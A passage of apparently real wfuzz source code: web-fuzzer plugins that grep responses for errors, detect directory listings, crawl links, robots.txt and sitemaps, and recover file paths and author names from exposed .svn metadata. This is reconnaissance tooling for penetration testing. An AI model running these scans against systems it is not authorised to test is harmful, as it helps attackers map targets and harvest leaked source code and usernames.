valid MySQL result resource\",\n        ]\n\n        self.error_regex = []\n        for regex in regex_list:\n            self.error_regex.append(re.compile(regex, re.MULTILINE | re.DOTALL))\n\n    def validate(self, fuzzresult):\n        return True\n\n    def process(self, fuzzresult):\n        for regex in self.error_regex:\n            for regex_match in regex.findall(fuzzresult.history.content):\n                self.add_result(\"errors\", \"Error identified\", regex_match)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/grep.py",
    "content": "import re\n\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.exception import FuzzExceptPluginBadParams\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass grep(BasePlugin):\n    name = \"grep\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"HTTP response grep\"\n    description = (\n        \"Extracts the given regex pattern from the HTTP response and prints it\",\n        \"(It is not a filter operator)\",\n    )\n    category = [\"tools\"]\n    priority = 99\n\n    parameters = ((\"regex\", \"\", True, \"Regex to perform the grep against.\"),)\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n        try:\n            print(self.kbase[\"grep.regex\"])\n            self.regex = re.compile(\n                self.kbase[\"grep.regex\"][0], re.MULTILINE | re.DOTALL\n            )\n        except Exception:\n            raise FuzzExceptPluginBadParams(\n                \"Incorrect regex or missing regex parameter.\"\n            )\n\n    def validate(self, fuzzresult):\n        return True\n\n    def process(self, fuzzresult):\n        for r in self.regex.findall(fuzzresult.history.content):\n            self.add_result(\"match\", \"Pattern match\", r)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/headers.py",
    "content": "from wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\nimport re\n\nKBASE_KEY = \"http.servers\"\nKBASE_KEY_RESP_UNCOMMON = \"http.response.headers.uncommon\"\nKBASE_KEY_REQ_UNCOMMON = \"http.request.headers.uncommon\"\n\nSERVER_HEADERS = [\"server\", \"x-powered-by\" \"via\"]\n\nCOMMON_RESPONSE_HEADERS_REGEX_LIST = [\n    r\"^Server$\",\n    r\"^X-Powered-By$\",\n    r\"^Via$\",\n    r\"^Access-Control.*$\",\n    r\"^Accept-.*$\",\n    r\"^age$\",\n    r\"^allow$\",\n    r\"^Cache-control$\",\n    r\"^Client-.*$\",\n    r\"^Connection$\",\n    r\"^Content-.*$\",\n    r\"^Cross-Origin-Resource-Policy$\",\n    r\"^Date$\",\n    r\"^Etag$\",\n    r\"^Expires$\",\n    r\"^Keep-Alive$\",\n    r\"^Last-Modified$\",\n    r\"^Link$\",\n    r\"^Location$\",\n    r\"^P3P$\",\n    r\"^Pragma$\",\n    r\"^Proxy-.*$\",\n    r\"^Refresh$\",\n    r\"^Retry-After$\",\n    r\"^Referrer-Policy$\",\n    r\"^Set-Cookie$\",\n    r\"^Server-Timing$\",\n    r\"^Status$\",\n    r\"^Strict-Transport-Security$\",\n    r\"^Timing-Allow-Origin$\",\n    r\"^Trailer$\",\n    r\"^Transfer-Encoding$\",\n    r\"^Upgrade$\",\n    r\"^Vary$\",\n    r\"^Warning^$\",\n    r\"^WWW-Authenticate$\",\n    r\"^X-Content-Type-Options$\",\n    r\"^X-Download-Options$\",\n    r\"^X-Frame-Options$\",\n    r\"^X-Microsite$\",\n    r\"^X-Request-Handler-Origin-Region$\",\n    r\"^X-XSS-Protection$\",\n]\n\nCOMMON_RESPONSE_HEADERS_REGEX = re.compile(\n    \"({})\".format(\"|\".join(COMMON_RESPONSE_HEADERS_REGEX_LIST)), re.IGNORECASE\n)\n\nCOMMON_REQ_HEADERS_REGEX_LIST = [\n    r\"A-IM$\",\n    r\"Accept$\",\n    r\"Accept-.*$\",\n    r\"Access-Control-.*$\",\n    r\"Authorization$\",\n    r\"Cache-Control$\",\n    r\"Connection$\",\n    r\"Content-.*$\",\n    r\"Cookie$\",\n    r\"Date$\",\n    r\"Expect$\",\n    r\"Forwarded$\",\n    r\"From$\",\n    r\"Host$\",\n    r\"If-.*$\",\n    r\"Max-Forwards$\",\n    r\"Origin$\",\n    r\"Pragma$\",\n    r\"Proxy-Authorization$\",\n    r\"Range$\",\n    r\"Referer$\",\n    r\"TE$\",\n    r\"User-Agent$\",\n    r\"Upgrade$\",\n    r\"Upgrade-Insecure-Requests$\",\n    r\"Via$\",\n    r\"Warning$\",\n    r\"X-Requested-With$\",\n    r\"X-HTTP-Method-Override$\",\n    r\"X-Requested-With$\",\n]\n\nCOMMON_REQ_HEADERS_REGEX = re.compile(\n    \"({})\".format(\"|\".join(COMMON_REQ_HEADERS_REGEX_LIST)), re.IGNORECASE\n)\n\n\n@moduleman_plugin\nclass headers(BasePlugin):\n    name = \"headers\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Looks for HTTP headers.\"\n    description = (\n        \"Looks for NEW HTTP headers:\",\n        \"\\t- Response HTTP headers associated to web servers.\",\n        \"\\t- Uncommon response HTTP headers.\",\n        \"\\t- Uncommon request HTTP headers.\",\n        \"It is worth noting that, only the FIRST match of the above headers is registered.\",\n    )\n    category = [\"info\", \"passive\", \"default\"]\n    priority = 99\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return True\n\n    def check_request_header(self, fuzzresult, header, value):\n        header_value = None\n        if not COMMON_REQ_HEADERS_REGEX.match(header):\n            header_value = header\n\n        if header_value is not None:\n            if (\n                header_value.lower() not in self.kbase[KBASE_KEY_REQ_UNCOMMON]\n                or KBASE_KEY_REQ_UNCOMMON not in self.kbase\n            ):\n                self.add_result(\n                    \"reqheader\",\n                    \"New uncommon HTTP request header\",\n                    \"{}: {}\".format(header_value, value),\n                )\n\n                self.kbase[KBASE_KEY_REQ_UNCOMMON].append(header_value.lower())\n\n    def check_response_header(self, fuzzresult, header, value):\n        header_value = None\n        if not COMMON_RESPONSE_HEADERS_REGEX.match(header):\n            header_value = header\n\n        if header_value is not None:\n            if (\n                header_value.lower() not in self.kbase[KBASE_KEY_RESP_UNCOMMON]\n                or KBASE_KEY_RESP_UNCOMMON not in self.kbase\n            ):\n                self.add_result(\n                    \"header\",\n                    \"New uncommon HTTP response header\",\n                    \"{}: {}\".format(\n                        header_value, fuzzresult.history.headers.response[header_value],\n                    ),\n                )\n\n                self.kbase[KBASE_KEY_RESP_UNCOMMON].append(header_value.lower())\n\n    def check_server_header(self, fuzzresult, header, value):\n        if header.lower() in SERVER_HEADERS:\n            if (\n                value.lower() not in self.kbase[KBASE_KEY]\n                or KBASE_KEY not in self.kbase\n            ):\n                self.add_result(\n                    \"server\", \"New server HTTP response header\", \"{}\".format(value),\n                )\n\n                self.kbase[KBASE_KEY].append(value.lower())\n\n    def process(self, fuzzresult):\n        for header, value in fuzzresult.history.headers.request.items():\n            self.check_request_header(fuzzresult, header, value)\n\n        for header, value in fuzzresult.history.headers.response.items():\n            self.check_response_header(fuzzresult, header, value)\n            self.check_server_header(fuzzresult, header, value)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/links.py",
    "content": "import re\n\n# Python 2 and 3\ntry:\n    from urllib.parse import urljoin\nexcept ImportError:\n    from urlparse import urljoin\n\nfrom wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.plugin_api.urlutils import parse_url\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\nKBASE_PARAM_PATH = \"links.add_path\"\nKBASE_PARAM_ENQUEUE = \"links.enqueue\"\nKBASE_PARAM_DOMAIN_REGEX = \"links.domain\"\nKBASE_PARAM_REGEX = \"links.regex\"\nKBASE_NEW_DOMAIN = \"links.new_domains\"\n\n\n@moduleman_plugin\nclass links(BasePlugin, DiscoveryPluginMixin):\n    name = \"links\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses HTML looking for new content.\"\n    description = (\"Parses HTML looking for new content\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n\n    parameters = (\n        (\"enqueue\", \"True\", False, \"If True, enqueue found links.\",),\n        (\n            \"add_path\",\n            \"False\",\n            False,\n            \"if True, re-enqueue found paths. ie. /path/link.html link enqueues also /path/\",\n        ),\n        (\n            \"domain\",\n            None,\n            False,\n            \"Regex of accepted domains tested against url.netloc. This is useful for restricting crawling certain domains.\",\n        ),\n        (\n            \"regex\",\n            None,\n            False,\n            \"Regex of accepted links tested against the full url. If domain is not set and regex is, domain defaults to .*. This is useful for restricting crawling certain file types.\",\n        ),\n    )\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n        regex = [\n            r'\\b(?:(?<!data-)href)=\"((?!mailto:|tel:|#|javascript:).*?)\"',\n            r'\\bsrc=\"((?!javascript:).*?)\"',\n            r'\\baction=\"((?!javascript:).*?)\"',\n            r'<meta.*content=\"\\d+;url=(.*?)\">',  # http://en.wikipedia.org/wiki/Meta_refresh\n            r'getJSON\\(\"(.*?)\"',\n            r\"[^/][`'\\\"]([\\/][a-zA-Z0-9_.-]+)+(?!(?:[,;\\s]))\",  # based on https://github.com/nahamsec/JSParser/blob/master/handler.py#L93\n        ]\n\n        self.regex = []\n        for regex_str in regex:\n            self.regex.append(re.compile(regex_str, re.MULTILINE | re.DOTALL))\n\n        self.regex_header = [\n            (\"Link\", re.compile(r\"<(.*)>;\")),\n            (\"Location\", re.compile(r\"(.*)\")),\n        ]\n\n        self.add_path = self._bool(self.kbase[KBASE_PARAM_PATH][0])\n        self.enqueue_links = self._bool(self.kbase[KBASE_PARAM_ENQUEUE][0])\n\n        self.domain_regex = None\n        if self.kbase[KBASE_PARAM_DOMAIN_REGEX][0]:\n            self.domain_regex = re.compile(\n                self.kbase[KBASE_PARAM_DOMAIN_REGEX][0], re.IGNORECASE\n            )\n\n        self.regex_param = None\n        if self.kbase[KBASE_PARAM_REGEX][0]:\n            self.regex_param = re.compile(\n                self.kbase[KBASE_PARAM_REGEX][0], re.IGNORECASE\n            )\n\n        if self.regex_param and self.domain_regex is None:\n            self.domain_regex = re.compile(\".*\", re.IGNORECASE)\n\n        self.list_links = set()\n\n    def validate(self, fuzzresult):\n        self.list_links = set()\n        return fuzzresult.code in [200, 301, 302, 303, 307, 308]\n\n    def process(self, fuzzresult):\n        # <a href=\"www.owasp.org/index.php/OWASP_EU_Summit_2008\">O\n        # ParseResult(scheme='', netloc='', path='www.owasp.org/index.php/OWASP_EU_Summit_2008', params='', query='', fragment='')\n\n        for header, regex in self.regex_header:\n            if header in fuzzresult.history.headers.response:\n                for link_url in regex.findall(\n                    fuzzresult.history.headers.response[header]\n                ):\n                    if link_url:\n                        self.process_link(fuzzresult, link_url)\n\n        for regex in self.regex:\n            for link_url in regex.findall(fuzzresult.history.content):\n                if link_url:\n                    self.process_link(fuzzresult, link_url)\n\n    def process_link(self, fuzzresult, link_url):\n        parsed_link = parse_url(link_url)\n\n        if (\n            not parsed_link.scheme\n            or parsed_link.scheme == \"http\"\n            or parsed_link.scheme == \"https\"\n        ) and self.from_domain(fuzzresult, parsed_link):\n            cache_key = parsed_link.cache_key(self.base_fuzz_res.history.urlp)\n            if cache_key not in self.list_links:\n                self.list_links.add(cache_key)\n                self.enqueue_link(fuzzresult, link_url, parsed_link)\n\n    def enqueue_link(self, fuzzresult, link_url, parsed_link):\n        # dir path\n        if self.add_path:\n            split_path = parsed_link.path.split(\"/\")\n            newpath = \"/\".join(split_path[:-1]) + \"/\"\n            self.queue_url(urljoin(fuzzresult.url, newpath))\n\n        # file path\n        new_link = urljoin(fuzzresult.url, link_url)\n\n        if not self.regex_param or (\n            self.regex_param and self.regex_param.search(new_link) is not None\n        ):\n            if self.enqueue_links:\n                self.queue_url(new_link)\n            self.add_result(\"link\", \"New link found\", new_link)\n\n    def from_domain(self, fuzzresult, parsed_link):\n        # relative path\n        if not parsed_link.netloc and parsed_link.path:\n            return True\n\n        # regex domain\n        if (\n            self.domain_regex\n            and self.domain_regex.search(parsed_link.netloc) is not None\n        ):\n            return True\n\n        # same domain\n        if parsed_link.netloc == self.base_fuzz_res.history.urlp.netloc:\n            return True\n\n        if (\n            parsed_link.netloc\n            and parsed_link.netloc not in self.kbase[KBASE_NEW_DOMAIN]\n        ):\n            self.kbase[KBASE_NEW_DOMAIN].append(parsed_link.netloc)\n            self.add_result(\n                \"domain\", \"New domain found (link not enqueued)\", parsed_link.netloc\n            )\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/listing.py",
    "content": "import re\n\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass listing(BasePlugin):\n    name = \"listing\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Looks for directory listing vulnerabilities\"\n    description = (\"Looks for directory listing vulnerabilities\",)\n    category = [\"default\", \"passive\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n        dir_indexing_regexes = []\n\n        dir_indexing_regexes.append(\"<title>Index of /\")\n        dir_indexing_regexes.append('<a href=\"\\\\?C=N;O=D\">Name</a>')\n        dir_indexing_regexes.append(\"Last modified</a>\")\n        dir_indexing_regexes.append(\"Parent Directory</a>\")\n        dir_indexing_regexes.append(\"Directory Listing for\")\n        dir_indexing_regexes.append(\"<TITLE>Folder Listing.\")\n        dir_indexing_regexes.append(\"<TITLE>Folder Listing.\")\n        dir_indexing_regexes.append('<table summary=\"Directory Listing\" ')\n        dir_indexing_regexes.append(\"- Browsing directory \")\n        dir_indexing_regexes.append(\n            '\">\\\\[To Parent Directory\\\\]</a><br><br>'\n        )  # IIS 6.0 and 7.0\n        dir_indexing_regexes.append(\n            '<A HREF=\".*?\">.*?</A><br></pre><hr></body></html>'\n        )  # IIS 5.0\n\n        self.regex = []\n        for i in dir_indexing_regexes:\n            self.regex.append(re.compile(i, re.MULTILINE | re.DOTALL))\n\n    def validate(self, fuzzresult):\n        return fuzzresult.code in [200]\n\n    def process(self, fuzzresult):\n        for r in self.regex:\n            if len(r.findall(fuzzresult.history.content)) > 0:\n                self.add_result(\"msg\", \"Directory listing identified\", None)\n                break\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/npm_deps.py",
    "content": "import re\n\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.exception import FuzzExceptPluginBadParams\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass npm_deps(BasePlugin):\n    name = \"npm_deps\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Looks for npm dependencies definition in js code\"\n    description = (\n        \"Extracts npm packages by using regex pattern from the HTTP response and prints it\",\n    )\n    category = [\"info\"]\n    priority = 99\n\n    parameters = ()\n\n    REGEX_PATT = re.compile(r'\"([^\"]+)\":\"([^\"]+)\"', re.MULTILINE | re.DOTALL)\n    REGEX_DEP = re.compile(\n        r\"dependencies:\\{(.*?)\\}\", re.MULTILINE | re.DOTALL | re.IGNORECASE\n    )\n    REGEX_DEV_DEP = re.compile(\n        r\"devdependencies:\\{(.*?)\\}\", re.MULTILINE | re.DOTALL | re.IGNORECASE\n    )\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        if fuzzresult.history.urlparse.fext != \".js\" or fuzzresult.code != 200:\n            return False\n\n        self.match = self.REGEX_DEP.search(fuzzresult.history.content)\n        self.match_dev = self.REGEX_DEV_DEP.search(fuzzresult.history.content)\n\n        return self.match is not None or self.match_dev is not None\n\n    def process(self, fuzzresult):\n        if self.match_dev:\n            for name, version in self.REGEX_PATT.findall(self.match_dev.group(1)):\n                self.add_result(\"dependency\", \"npm dependency\", name)\n\n        if self.match:\n            for name, version in self.REGEX_PATT.findall(self.match.group(1)):\n                self.add_result(\"dev_dependency\", \"npm dev dependency\", name)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/robots.py",
    "content": "import sys\n\n# Python 2 and 3\nif sys.version_info >= (3, 0):\n    from urllib.parse import urljoin\nelse:\n    from urlparse import urljoin\n\nfrom wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.plugin_api.urlutils import check_content_type\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass robots(BasePlugin, DiscoveryPluginMixin):\n    name = \"robots\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses robots.txt looking for new content.\"\n    description = (\"Parses robots.txt looking for new content.\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return (\n            fuzzresult.history.urlparse.ffname == \"robots.txt\"\n            and fuzzresult.code == 200\n            and check_content_type(fuzzresult, \"text\")\n        )\n\n    def process(self, fuzzresult):\n        # Shamelessly (partially) copied from w3af's plugins/discovery/robotsReader.py\n        for line in fuzzresult.history.content.split(\"\\n\"):\n            line = line.strip()\n\n            if (\n                len(line) > 0\n                and line[0] != \"#\"\n                and (\n                    line.upper().find(\"ALLOW\") == 0\n                    or line.upper().find(\"DISALLOW\") == 0\n                    or line.upper().find(\"SITEMAP\") == 0\n                )\n            ):\n\n                url = line[line.find(\":\") + 1 :]\n                url = url.strip(\" *\")\n\n                if url:\n                    new_link = urljoin(fuzzresult.url, url)\n                    self.queue_url(new_link)\n                    self.add_result(\"link\", \"New link found\", new_link)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/screenshot.py",
    "content": "from wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\nimport subprocess\nimport tempfile\nimport pipes\nimport os\nimport re\n\n\n@moduleman_plugin\nclass screenshot(BasePlugin):\n    name = \"screenshot\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Performs a screen capture using linux cutycapt tool\"\n    description = (\n        \"Performs a screen capture using linux cutycapt tool\",\n        \"The tool must be installed and in the executable path\",\n    )\n    category = [\"tools\", \"active\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return fuzzresult.code not in [404]\n\n    def process(self, fuzzresult):\n        temp_name = next(tempfile._get_candidate_names())\n        defult_tmp_dir = tempfile._get_default_tempdir()\n\n        filename = os.path.join(\n            defult_tmp_dir,\n            (temp_name + \"_\" + re.sub(r\"[^a-zA-Z0-9_-]\", \"_\", fuzzresult.url))[:200]\n            + \".jpg\",\n        )\n\n        subprocess.call(\n            [\n                \"cutycapt\",\n                \"--url=%s\" % pipes.quote(fuzzresult.url),\n                \"--out=%s\" % filename,\n                \"--insecure\",\n                \"--print-backgrounds=on\",\n            ]\n        )\n        self.add_result(\"file\", \"Screnshot taken\", filename)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/sitemap.py",
    "content": "from wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.exception import FuzzExceptResourceParseError\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\nimport xml.dom.minidom\n\n\n@moduleman_plugin\nclass sitemap(BasePlugin, DiscoveryPluginMixin):\n    name = \"sitemap\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses sitemap.xml file\"\n    description = (\"Parses sitemap.xml file\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return (\n            fuzzresult.history.urlparse.ffname == \"sitemap.xml\"\n            and fuzzresult.code == 200\n        )\n\n    def process(self, fuzzresult):\n        try:\n            dom = xml.dom.minidom.parseString(fuzzresult.history.content)\n        except Exception:\n            raise FuzzExceptResourceParseError(\n                \"Error while parsing %s.\" % fuzzresult.url\n            )\n\n        urlList = dom.getElementsByTagName(\"loc\")\n        for url in urlList:\n            u = url.childNodes[0].data\n\n            self.queue_url(u)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/svn_extractor.py",
    "content": "# Python 2 and 3\ntry:\n    from urllib.parse import urljoin\nexcept ImportError:\n    from urlparse import urljoin\n\nfrom wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass svn_extractor(BasePlugin, DiscoveryPluginMixin):\n    name = \"svn_extractor\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses .svn/entries file.\"\n    description = (\"Parses CVS/Entries file and enqueues found entries\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return fuzzresult.url.find(\".svn/entries\") > 0 and fuzzresult.code == 200\n\n    def readsvn(self, content):\n        \"\"\"\n        Function shamesly copied (and adapted) from https://github.com/anantshri/svn-extractor/\n        Credit (C) Anant Shrivastava http://anantshri.info\n        \"\"\"\n        old_line = \"\"\n        file_list = []\n        dir_list = []\n        author_list = []\n\n        for a in content.splitlines():\n            # below functionality will find all usernames from svn entries file\n            if a == \"has-props\":\n                if old_line not in author_list:\n                    author_list.append(old_line)\n            if a == \"file\":\n                if old_line not in file_list:\n                    file_list.append(old_line)\n            if a == \"dir\":\n                if old_line != \"\":\n                    dir_list.append(old_line)\n            old_line = a\n        return file_list, dir_list, author_list\n\n    def process(self, fuzzresult):\n        base_url = fuzzresult.url\n\n        file_list, dir_list, author_list = self.readsvn(fuzzresult.history.content)\n\n        if author_list:\n            self.add_result(\"authors\", \"SVN authors\", \", \".join(author_list))\n\n        for f in file_list:\n            u = urljoin(base_url.replace(\"/.svn/\", \"/\"), f)\n            self.queue_url(u)\n\n        for d in dir_list:\n            self.queue_url(\n                urljoin(base_url.replace(\"/.svn/\", \"/\"), d) + \"/.svn/entries\"\n            )\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/title.py",
    "content": "from wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass title(BasePlugin):\n    name = \"title\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses HTML page title\"\n    description = (\"Parses HTML page title\",)\n    category = [\"info\", \"passive\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return True\n\n    def process(self, fuzzresult):\n        soup = fuzzresult.history.get_soup()\n        title = soup.title.string if soup.title else \"\"\n\n        if (\n            title != \"\"\n            and \"title\" not in self.kbase\n            or title not in self.kbase[\"title\"]\n        ):\n            self.kbase[\"title\"] = title\n            self.add_result(\"title\", \"Page title\", title)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/wcdb.py",
    "content": "# Python 2 and 3\ntry:\n    from urllib.parse import urljoin\nexcept ImportError:\n    from urlparse import urljoin\n\nfrom wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.exception import FuzzExceptResourceParseError\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\nimport tempfile\nimport sqlite3\n\n\n@moduleman_plugin\nclass wcdb_extractor(BasePlugin, DiscoveryPluginMixin):\n    name = \"wc_extractor\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses subversion's wc.db file.\"\n    description = (\"Parses subversion's wc.db file.\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return fuzzresult.url.find(\".svn/wc.d\") > 0 and fuzzresult.code == 200\n\n    def readwc(self, content):\n        \"\"\"\n        Function shamesly copied (and adapted) from https://github.com/anantshri/svn-extractor/\n        Credit (C) Anant Shrivastava http://anantshri.info\n        \"\"\"\n        author_list = []\n        list_items = None\n        (fd, filename) = tempfile.mkstemp()\n\n        with open(filename, \"wb\") as f:\n            f.write(content)\n\n        conn = sqlite3.connect(filename)\n        c = conn.cursor()\n        try:\n            c.execute(\n                'select local_relpath, \".svn/pristine/\" || substr(checksum,7,2) || \"/\" || substr(checksum,7) || \".svn-base\" as alpha from NODES where kind=\"file\";'\n            )\n            list_items = c.fetchall()\n            # below functionality will find all usernames who have commited atleast once.\n            c.execute(\"select distinct changed_author from nodes;\")\n            author_list = [r[0] for r in c.fetchall()]\n            c.close()\n        except Exception:\n            raise FuzzExceptResourceParseError(\n                \"Error reading wc.db, either database corrupt or invalid file\"\n            )\n\n        return author_list, list_items\n\n    def process(self, fuzzresult):\n        author_list, list_items = self.readwc(fuzzresult.history.content)\n\n        if author_list:\n            self.add_result(\"authors\", \"SVN authors\", \", \".join(author_list))\n\n        if list_items:\n            for f, pristine in list_items:\n                u = urljoin(fuzzresult.url.replace(\"/.svn/wc.db\", \"/\"), f)\n                if self.queue_url(u):\n                    self.add_result(\"source\", \"SVN source code\", f)\n"
  },
  {
    "path": "src/wfuzz/ui/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/ui/console/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/ui/console/clparser.py",
    "content": "import re\nimport sys\nimport getopt\nimport warnings\nfrom collections import defaultdict\n\nfrom wfuzz.helpers.file_func import get_filter_help_file\nfrom wfuzz.helpers.obj_dyn import allowed_fields\nfrom wfuzz.filters.ppfilter import PYPARSING\nfrom wfuzz.facade import Facade\nfrom wfuzz.options import FuzzSession\nfrom wfuzz.exception import FuzzException, FuzzExceptBadOptions, FuzzExceptBadInstall\nfrom .common import help_banner, exec_banner\nfrom .common import usage\nfrom .common import brief_usage\nfrom .common import verbose_usage\nfrom wfuzz import __version__ as version\nfrom .output import table_print\n\nshort_opts = \"hLAZX:vcb:e:R:D:d:z:r:f:t:w:V:H:m:f:o:s:p:w:u:\"\nlong_opts = [\n    \"efield=\",\n    \"no-cache\",\n    \"ee=\",\n    \"zE=\",\n    \"zD=\",\n    \"field=\",\n    \"ip=\",\n    \"filter-help\",\n    \"AAA\",\n    \"AA\",\n    \"slice=\",\n    \"zP=\",\n    \"oF=\",\n    \"recipe=\",\n    \"dump-recipe=\",\n    \"req-delay=\",\n    \"conn-delay=\",\n    \"sc=\",\n    \"sh=\",\n    \"sl=\",\n    \"sw=\",\n    \"ss=\",\n    \"hc=\",\n    \"hh=\",\n    \"hl=\",\n    \"hw=\",\n    \"hs=\",\n    \"ntlm=\",\n    \"basic=\",\n    \"digest=\",\n    \"follow\",\n    \"script-help=\",\n    \"script=\",\n    \"script-args=\",\n    \"prefilter=\",\n    \"filter=\",\n    \"interact\",\n    \"help\",\n    \"version\",\n    \"dry-run\",\n    \"prev\",\n]\nREPEATABLE_OPTS = [\n    \"--efield\",\n    \"--field\",\n    \"--prefilter\",\n    \"--recipe\",\n    \"-z\",\n    \"--zP\",\n    \"--zD\",\n    \"--slice\",\n    \"payload\",\n    \"-w\",\n    \"-b\",\n    \"-H\",\n    \"-p\",\n]\n\n\nclass CLParser:\n    def __init__(\n        self,\n        argv,\n        short_opts=short_opts,\n        long_opts=long_opts,\n        help_banner=help_banner,\n        brief_usage=brief_usage,\n        verbose_usage=verbose_usage,\n        usage=usage,\n    ):\n        self.argv = argv\n        self.short_opts = short_opts\n        self.long_opts = long_opts\n        self.help_banner = help_banner\n        self.brief_usage = brief_usage\n        self.verbose_usage = verbose_usage\n        self.usage = usage\n\n    def show_brief_usage(self):\n        print(self.help_banner)\n        print(self.brief_usage)\n\n    def show_verbose_usage(self):\n        print(self.help_banner)\n        print(self.verbose_usage)\n\n    def show_usage(self):\n        print(self.help_banner)\n        print(self.usage)\n\n    def show_plugins_help(self, registrant, cols=3, category=\"$all$\"):\n        print(\"\\nAvailable %s:\\n\" % registrant)\n        table_print(\n            [x[cols:] for x in Facade().proxy(registrant).get_plugins_ext(category)]\n        )\n        sys.exit(0)\n\n    def show_plugins_names(self, registrant):\n        print(\"\\n\".join(Facade().proxy(registrant).get_plugins_names(\"$all$\")))\n\n    def show_plugin_ext_help(self, registrant, category=\"$all$\"):\n        for plugin in Facade().proxy(registrant).get_plugins(category):\n            print(\"Name: %s %s\" % (plugin.name, plugin.version))\n            print(\"Categories: %s\" % \",\".join(plugin.category))\n            print(\"Summary: %s\" % plugin.summary)\n            print(\"Author: %s\" % \",\".join(plugin.author))\n            print(\"Description:\")\n            for desc_lines in plugin.description:\n                print(\"   %s\" % desc_lines)\n            print(\"Parameters:\")\n            for name, default_value, mandatory, description in plugin.parameters:\n                print(\n                    \"   {} {}{}: {}\".format(\n                        \"+\" if mandatory else \"-\",\n                        name,\n                        \" (= %s)\" % str(default_value)\n                        if default_value is not None\n                        else \"\",\n                        description,\n                    )\n                )\n            print(\"\\n\")\n\n        sys.exit(0)\n\n    def parse_cl(self):\n        # Usage and command line help\n        try:\n            opts, args = getopt.getopt(self.argv[1:], self.short_opts, self.long_opts)\n            optsd = defaultdict(list)\n\n            payload_cache = {}\n            for i, j in opts:\n                if i in [\"-z\", \"--zP\", \"--slice\", \"-w\", \"--zD\", \"--zE\"]:\n                    if i in [\"-z\", \"-w\"]:\n                        if payload_cache:\n                            optsd[\"payload\"].append(payload_cache)\n                            payload_cache = {}\n\n                    payload_cache[i] = j\n                